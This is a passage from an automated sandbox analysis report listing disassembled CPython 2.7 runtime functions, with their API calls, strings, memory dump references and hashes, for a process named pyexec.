                                                                                                                                                                    Function 67010E80 Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 103COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • Py_InitModule4.PYTHON27(_lsprof,67282624,Fast profiler,00000000,000003F5), ref: 67010EA0
                                                                                                                                                                    • PyModule_GetDict.PYTHON27(00000000), ref: 67010EB3
                                                                                                                                                                      • Part of subcall function 670C5170: PyType_IsSubtype.PYTHON27(F08BFC45,?,00000000,?,?,670B5195,00000000), ref: 670C518B
                                                                                                                                                                      • Part of subcall function 670C5170: PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\moduleobject.c,00000032,670B5195,00000000), ref: 670C51A9
                                                                                                                                                                    • PyType_Ready.PYTHON27(6726B208,00000000), ref: 67010EBF
                                                                                                                                                                    • PyDict_SetItemString.PYTHON27(00000000,Profiler,6726B208), ref: 67010EDA
                                                                                                                                                                      • Part of subcall function 670A7460: PyString_FromString.PYTHON27(00000000,?,?,670C50D7,00000000,__name__,00000000,?,00000014,?,6712DEB4), ref: 670A7468
                                                                                                                                                                    • PyStructSequence_InitType.PYTHON27(67271B18,6726AC10), ref: 67010EF5
                                                                                                                                                                      • Part of subcall function 670D7970: malloc.MSVCR90 ref: 670D7A06
                                                                                                                                                                      • Part of subcall function 670D7970: PyType_Ready.PYTHON27(67274458), ref: 670D7A89
                                                                                                                                                                    • PyStructSequence_InitType.PYTHON27(67271A50,6726AC20,67271B18,6726AC10), ref: 67010F04
                                                                                                                                                                      • Part of subcall function 670D7970: PyString_FromString.PYTHON27(n_sequence_fields), ref: 670D7B44
                                                                                                                                                                      • Part of subcall function 670D7970: PyString_InternInPlace.PYTHON27(00000000), ref: 670D7B57
                                                                                                                                                                      • Part of subcall function 670D7970: PyDict_SetItem.PYTHON27(67274458,00000000,?,00000000), ref: 670D7B65
                                                                                                                                                                      • Part of subcall function 670D7970: PyString_FromString.PYTHON27(n_fields), ref: 670D7C34
                                                                                                                                                                      • Part of subcall function 670D7970: PyString_InternInPlace.PYTHON27(67274458), ref: 670D7C47
                                                                                                                                                                      • Part of subcall function 670D7970: PyDict_SetItem.PYTHON27(67274458,67274458,?,67274458), ref: 670D7C55
                                                                                                                                                                      • Part of subcall function 670D7970: PyString_FromString.PYTHON27(n_unnamed_fields), ref: 670D7D25
                                                                                                                                                                      • Part of subcall function 670D7970: PyString_InternInPlace.PYTHON27(67242AA8), ref: 670D7D38
                                                                                                                                                                    • PyModule_AddObject.PYTHON27(00000000,profiler_entry,67271B18), ref: 67010F28
                                                                                                                                                                    • PyModule_AddObject.PYTHON27(00000000,profiler_subentry,67271A50,00000000,profiler_entry,67271B18), ref: 67010F38
                                                                                                                                                                    • _PyObject_GC_NewVar.PYTHON27(?,00000000), ref: 67010F67
                                                                                                                                                                      • Part of subcall function 6703BAA0: _PyObject_GC_Malloc.PYTHON27(?), ref: 6703BABC
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 67010FA4
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String_$String$From$Dict_InitInternItemModule_PlaceType_$ObjectObject_ReadySequence_StructType$DictErr_ErrorFatalFormatMallocModule4Subtypemalloc
                                                                                                                                                                    • String ID: Fast profiler$GC object already tracked$P&&g$Profiler$_lsprof$profiler_entry$profiler_subentry
                                                                                                                                                                    • API String ID: 931865609-3991908866
                                                                                                                                                                    • Opcode ID: ed0d4d6d927b9af7478fcb53175cd5f27ac4304cdd2a586196d1d8a9202229e8
                                                                                                                                                                    • Instruction ID: 473c01a6ad434e022b096904094a69a8ce3d54a7c230f6709d490ec93c65254b
                                                                                                                                                                    • Opcode Fuzzy Hash: ed0d4d6d927b9af7478fcb53175cd5f27ac4304cdd2a586196d1d8a9202229e8
                                                                                                                                                                    • Instruction Fuzzy Hash: 0A31F7719143289BC7108F599E8BB55B3D4EF9E26DF50022FE92863240F73514A5CBEA
                                                                                                                                                                    Function 67011680 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 240COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyArg_UnpackTuple.PYTHON27(?,seed,00000000,00000001,?), ref: 670116A2
                                                                                                                                                                      • Part of subcall function 67125D90: PyString_FromString.PYTHON27(PyArg_UnpackTuple() argument list is not a tuple), ref: 67125DB2
                                                                                                                                                                      • Part of subcall function 67125D90: PyErr_SetObject.PYTHON27(672465C8,00000000,PyArg_UnpackTuple() argument list is not a tuple), ref: 67125DBB
                                                                                                                                                                    • PyMem_Malloc.PYTHON27(00000020), ref: 67011732
                                                                                                                                                                    • _PyLong_New.PYTHON27(00000001), ref: 67011759
                                                                                                                                                                    • PyInt_FromLong.PYTHON27(00000020), ref: 6701178B
                                                                                                                                                                    • PyObject_IsTrue.PYTHON27(?), ref: 670117A2
                                                                                                                                                                    • PyNumber_And.PYTHON27(?,?), ref: 670117C5
                                                                                                                                                                    • PyLong_AsUnsignedLong.PYTHON27(00000000), ref: 670117D8
                                                                                                                                                                    • PyNumber_Rshift.PYTHON27(?,?), ref: 6701180F
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: FromLongLong_Number_$Arg_Err_Int_MallocMem_ObjectObject_RshiftStringString_TrueTupleUnpackUnsigned
                                                                                                                                                                    • String ID: seed
                                                                                                                                                                    • API String ID: 2087077843-1149756166
                                                                                                                                                                    • Opcode ID: 24fc7e6d4fe274285744d1340e0feb90f0b48188ab3767d974396aeab60ad7b0
                                                                                                                                                                    • Instruction ID: 4d28c227336774d492a7ae22def3593883d8aad596e332075b1de8f24419e2c5
                                                                                                                                                                    • Opcode Fuzzy Hash: 24fc7e6d4fe274285744d1340e0feb90f0b48188ab3767d974396aeab60ad7b0
                                                                                                                                                                    • Instruction Fuzzy Hash: 3381B5B5D046059BDB08CBE8D840BAEB3F5AF6D324F144365D925A7380E735DD42CBA2
                                                                                                                                                                    Function 670B7560 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 190COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67245D10,int() base must be >= 2 and <= 36, or 0), ref: 670B7586
                                                                                                                                                                    • isspace.MSVCR90 ref: 670B75A4
                                                                                                                                                                    • _errno.MSVCR90 ref: 670B75B9
                                                                                                                                                                    • PyOS_strtoul.PYTHON27(?,?,?), ref: 670B75D5
                                                                                                                                                                    • PyLong_FromString.PYTHON27(?,?,?), ref: 670B75E9
                                                                                                                                                                    • PyOS_strtol.PYTHON27(?,?,?), ref: 670B75FF
                                                                                                                                                                      • Part of subcall function 6712F0A0: isspace.MSVCR90 ref: 6712F0B9
                                                                                                                                                                      • Part of subcall function 6712F0A0: PyOS_strtoul.PYTHON27(?,?,?,?,?,?,670B7604,?,?,?), ref: 6712F0E1
                                                                                                                                                                    • isalnum.MSVCR90 ref: 670B7616
                                                                                                                                                                    • isspace.MSVCR90 ref: 670B7634
                                                                                                                                                                    • _errno.MSVCR90 ref: 670B7650
                                                                                                                                                                    • PyLong_FromString.PYTHON27(?,?,?), ref: 670B7664
                                                                                                                                                                    • PyInt_FromLong.PYTHON27(00000000), ref: 670B767D
                                                                                                                                                                    • PyString_FromStringAndSize.PYTHON27(?,000000C8), ref: 670B76B8
                                                                                                                                                                    • PyObject_Repr.PYTHON27(00000000), ref: 670B76C7
                                                                                                                                                                    • PyErr_Format.PYTHON27(67245D10,invalid literal for int() with base %d: %s,?,00000014), ref: 670B76FA
                                                                                                                                                                    Strings
                                                                                                                                                                    • int() base must be >= 2 and <= 36, or 0, xrefs: 670B7580
                                                                                                                                                                    • invalid literal for int() with base %d: %s, xrefs: 670B76F4
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: FromString$isspace$Err_Long_S_strtoul_errno$FormatInt_LongObject_ReprS_strtolSizeString_isalnum
                                                                                                                                                                    • String ID: int() base must be >= 2 and <= 36, or 0$invalid literal for int() with base %d: %s
                                                                                                                                                                    • API String ID: 589373795-3519328525
                                                                                                                                                                    • Opcode ID: 7c5e7358ebfc00d9a339ccbebfa0eae1697d0c639993d65166c69580a5fe09ef
                                                                                                                                                                    • Instruction ID: 4200b8b06b9d4e19456b441b44e75a03e0a19a542cbc0bb2836c6f2d319cd0f6
                                                                                                                                                                    • Opcode Fuzzy Hash: 7c5e7358ebfc00d9a339ccbebfa0eae1697d0c639993d65166c69580a5fe09ef
                                                                                                                                                                    • Instruction Fuzzy Hash: BB515FB69042015BD7218E28AC41BBA73E8EF8D724F041666EDA887341E737DB15C7F2
                                                                                                                                                                    Function 6700B6A0 Relevance: 26.6, APIs: 8, Strings: 7, Instructions: 339COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 6700B701
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 67141440
                                                                                                                                                                      • Part of subcall function 67141420: fprintf.MSVCR90 ref: 67141446
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 6714144C
                                                                                                                                                                      • Part of subcall function 67141420: fflush.MSVCR90 ref: 67141452
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 67141499
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32 ref: 6714149C
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(67213AD4), ref: 671414A3
                                                                                                                                                                      • Part of subcall function 67141420: abort.MSVCR90 ref: 671414A5
                                                                                                                                                                    • PyString_FromString.PYTHON27(end is out of bounds), ref: 6700B74F
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(67245D10,00000000,end is out of bounds), ref: 6700B758
                                                                                                                                                                    • _PyObject_GC_Malloc.PYTHON27(00000014), ref: 6700B7A7
                                                                                                                                                                    • PyString_FromStringAndSize.PYTHON27(?,?), ref: 6700B829
                                                                                                                                                                    • PyUnicodeUCS2_FromEncodedObject.PYTHON27(00000000,?,00000000), ref: 6700B842
                                                                                                                                                                    • PyList_Append.PYTHON27(?,00000000), ref: 6700B86B
                                                                                                                                                                    • PyList_Append.PYTHON27(?,?), ref: 6700B9E5
                                                                                                                                                                      • Part of subcall function 6700B460: PyString_FromString.PYTHON27(json.decoder), ref: 6700B473
                                                                                                                                                                      • Part of subcall function 6700B460: PyImport_Import.PYTHON27(00000000), ref: 6700B486
                                                                                                                                                                      • Part of subcall function 6700B460: PyObject_GetAttrString.PYTHON27(00000000,errmsg), ref: 6700B4AB
                                                                                                                                                                      • Part of subcall function 6700B460: PyObject_CallFunction.PYTHON27(?,(zOO&),?,?,Function_0000ADF0,?), ref: 6700B4E9
                                                                                                                                                                      • Part of subcall function 6700B460: PyErr_SetObject.PYTHON27(67245D10,00000000), ref: 6700B4FF
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String$From$DebugObjectObject_OutputString_$AppendErr_List___iob_func$AttrCallEncodedErrorFatalFunctionImportImport_MallocSizeUnicodeabortfflushfprintf
                                                                                                                                                                    • String ID: GC object already tracked$Invalid \escape$Invalid \uXXXX escape$Invalid control character at$P&&g$Unterminated string starting at$end is out of bounds
                                                                                                                                                                    • API String ID: 3483052483-1861222882
                                                                                                                                                                    • Opcode ID: f1c55529ed696109424753aec457e03e2e5b866ab9ac2cded05ebf46f172c9be
                                                                                                                                                                    • Instruction ID: 07e7dd175742899a6dd8c081ef4e393b9600b67b1e08e61244538b6b1811d925
                                                                                                                                                                    • Opcode Fuzzy Hash: f1c55529ed696109424753aec457e03e2e5b866ab9ac2cded05ebf46f172c9be
                                                                                                                                                                    • Instruction Fuzzy Hash: 61C1BFB5904611DFE710CF28DC84B6A77E4EB9E374F008629E9A947391E734D902CBB2
                                                                                                                                                                    Function 670C3740 Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 221COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyObject_GC_Malloc.PYTHON27(00000040), ref: 670C3778
                                                                                                                                                                    • PyObject_GetBuffer.PYTHON27(?,0000000C,0000011C), ref: 670C37B0
                                                                                                                                                                    • PyBuffer_IsContiguous.PYTHON27(0000000C,?), ref: 670C37C5
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 670C37E4
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67246898,writable contiguous buffer requested for a non-contiguousobject.), ref: 670C383F
                                                                                                                                                                      • Part of subcall function 670C3660: PyErr_NoMemory.PYTHON27(?,?,670C38F0,00000014,?), ref: 670C366E
                                                                                                                                                                    • PyString_FromStringAndSize.PYTHON27(00000000,?), ref: 670C3856
                                                                                                                                                                    • PyTuple_Pack.PYTHON27(00000002,?,00000000), ref: 670C38AA
                                                                                                                                                                    • PyBuffer_Release.PYTHON27(0000000C), ref: 670C3927
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 670C3940
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 67141440
                                                                                                                                                                      • Part of subcall function 67141420: fprintf.MSVCR90 ref: 67141446
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 6714144C
                                                                                                                                                                      • Part of subcall function 67141420: fflush.MSVCR90 ref: 67141452
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 67141499
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32 ref: 6714149C
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(67213AD4), ref: 671414A3
                                                                                                                                                                      • Part of subcall function 67141420: abort.MSVCR90 ref: 671414A5
                                                                                                                                                                    • PyString_FromString.PYTHON27(object does not have the buffer interface), ref: 670C397F
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(672448B0,00000000,object does not have the buffer interface), ref: 670C3988
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String$DebugErr_Output$Buffer_ErrorFatalFromObject_String___iob_func$BufferContiguousMallocMemoryObjectPackReleaseSizeTuple_abortfflushfprintf
                                                                                                                                                                    • String ID: GC object already tracked$P&&g$object does not have the buffer interface$writable contiguous buffer requested for a non-contiguousobject.
                                                                                                                                                                    • API String ID: 2061887235-112187382
                                                                                                                                                                    • Opcode ID: 8bb57737430f204f8d041c169a8ce7ac68fe6f794017ca8145ea074ba041bfc3
                                                                                                                                                                    • Instruction ID: e60d5a775373167fa28cebbf052776f6fe494912cd9a63e4d47940d20a313123
                                                                                                                                                                    • Opcode Fuzzy Hash: 8bb57737430f204f8d041c169a8ce7ac68fe6f794017ca8145ea074ba041bfc3
                                                                                                                                                                    • Instruction Fuzzy Hash: A871F7B16106059FD710CF64D885B6AF3E8EB4D334F108369EA6987281E735E856CBA3
                                                                                                                                                                    Function 6700C7B0 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 372COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyObject_IsTrue.PYTHON27 ref: 6700C7DB
                                                                                                                                                                    • _PyObject_GC_Malloc.PYTHON27(00000014), ref: 6700C818
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 6700C85A
                                                                                                                                                                    • PyTuple_Pack.PYTHON27(00000002,?,00000000), ref: 6700C9EC
                                                                                                                                                                    • PyList_Append.PYTHON27(?,00000000), ref: 6700CA34
                                                                                                                                                                    • PyObject_CallFunctionObjArgs.PYTHON27(?,?,00000000), ref: 6700CB48
                                                                                                                                                                    • PyObject_CallFunctionObjArgs.PYTHON27(?,?,00000000), ref: 6700CB88
                                                                                                                                                                      • Part of subcall function 6708F750: PyErr_SetString.PYTHON27(672465C8,null argument to internal routine), ref: 6708F770
                                                                                                                                                                    • PyObject_CallFunctionObjArgs.PYTHON27(?,00000000,00000000), ref: 6700CBC0
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Object_$ArgsCallFunction$AppendErr_ErrorFatalList_MallocPackStringTrueTuple_
                                                                                                                                                                    • String ID: Expecting ',' delimiter$Expecting ':' delimiter$Expecting object$Expecting property name enclosed in double quotes$GC object already tracked$P&&g
                                                                                                                                                                    • API String ID: 2157364734-2050469212
                                                                                                                                                                    • Opcode ID: 27b325dffa392ca6f5b3c559afd4bed7ce504668099824744168bf44f98853e1
                                                                                                                                                                    • Instruction ID: 9513e3f40b9a91778303b500f67b5cdb858e98f0463901089d76cb3f6b48433b
                                                                                                                                                                    • Opcode Fuzzy Hash: 27b325dffa392ca6f5b3c559afd4bed7ce504668099824744168bf44f98853e1
                                                                                                                                                                    • Instruction Fuzzy Hash: 82C1C3715002028BE710DF58C884BEB73E4EB8E334F544729E9648B290E735DC96C7B6
                                                                                                                                                                    Function 670C6E30 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 184COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyUnicodeUCS2_AsEncodedString.PYTHON27(?,00000000,00000000), ref: 670C6E6C
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,attribute name must be string, not '%.200s',?), ref: 670C6E94
                                                                                                                                                                    • PyType_Ready.PYTHON27(?), ref: 670C6EB2
                                                                                                                                                                    • _PyType_Lookup.PYTHON27(?,?), ref: 670C6EC4
                                                                                                                                                                    • _PyObject_GetDictPtr.PYTHON27(?), ref: 670C6F0B
                                                                                                                                                                    • PyDict_New.PYTHON27 ref: 670C6F2A
                                                                                                                                                                    • PyDict_DelItem.PYTHON27(?,?), ref: 670C6F4A
                                                                                                                                                                    • PyErr_GivenExceptionMatches.PYTHON27(?,67245C10), ref: 670C6F78
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(672455C0,?), ref: 670C6F8C
                                                                                                                                                                    Strings
                                                                                                                                                                    • '%.50s' object attribute '%.400s' is read-only, xrefs: 670C6FF5
                                                                                                                                                                    • '%.100s' object has no attribute '%.200s', xrefs: 670C6FDC
                                                                                                                                                                    • attribute name must be string, not '%.200s', xrefs: 670C6E8E
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$Dict_Type_$DictEncodedExceptionFormatGivenItemLookupMatchesObjectObject_ReadyStringUnicode
                                                                                                                                                                    • String ID: '%.100s' object has no attribute '%.200s'$'%.50s' object attribute '%.400s' is read-only$attribute name must be string, not '%.200s'
                                                                                                                                                                    • API String ID: 86432852-722485057
                                                                                                                                                                    • Opcode ID: ae1edc1280bcfea4b53b54a6df942263427740a4573a26275a6f23fa58cc51d8
                                                                                                                                                                    • Instruction ID: 4579ff887ff4d88d772e6563f31e6703d6e97611aa81efb03fd234461c67e250
                                                                                                                                                                    • Opcode Fuzzy Hash: ae1edc1280bcfea4b53b54a6df942263427740a4573a26275a6f23fa58cc51d8
                                                                                                                                                                    • Instruction Fuzzy Hash: 8D517EB5A042019FD711DE58DC80B6B73ACAF99328F14462DFD6887281E771E916CBB2
                                                                                                                                                                    Function 6701A7C0 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 175stringCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • memset.MSVCR90 ref: 6701A7D8
                                                                                                                                                                    • memcpy.MSVCR90(?,?,?), ref: 6701A840
                                                                                                                                                                    • memcpy.MSVCR90(?,?,?), ref: 6701A87D
                                                                                                                                                                    • PyString_FromString.PYTHON27(argument for 's' must be a string), ref: 6701A8D3
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(00000000,00000000,argument for 's' must be a string), ref: 6701A8DC
                                                                                                                                                                    • PyString_FromString.PYTHON27(argument for 'p' must be a string), ref: 6701A90E
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(00000000,00000000,argument for 'p' must be a string), ref: 6701A917
                                                                                                                                                                    • strchr.MSVCR90 ref: 6701A947
                                                                                                                                                                    • PyErr_GivenExceptionMatches.PYTHON27(?,672463F8), ref: 6701A964
                                                                                                                                                                    • PyErr_Format.PYTHON27(00000000,integer out of range for '%c' format code), ref: 6701A97F
                                                                                                                                                                    Strings
                                                                                                                                                                    • argument for 's' must be a string, xrefs: 6701A8CE
                                                                                                                                                                    • integer out of range for '%c' format code, xrefs: 6701A979
                                                                                                                                                                    • argument for 'p' must be a string, xrefs: 6701A909
                                                                                                                                                                    • bBhHiIlLqQ, xrefs: 6701A942
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
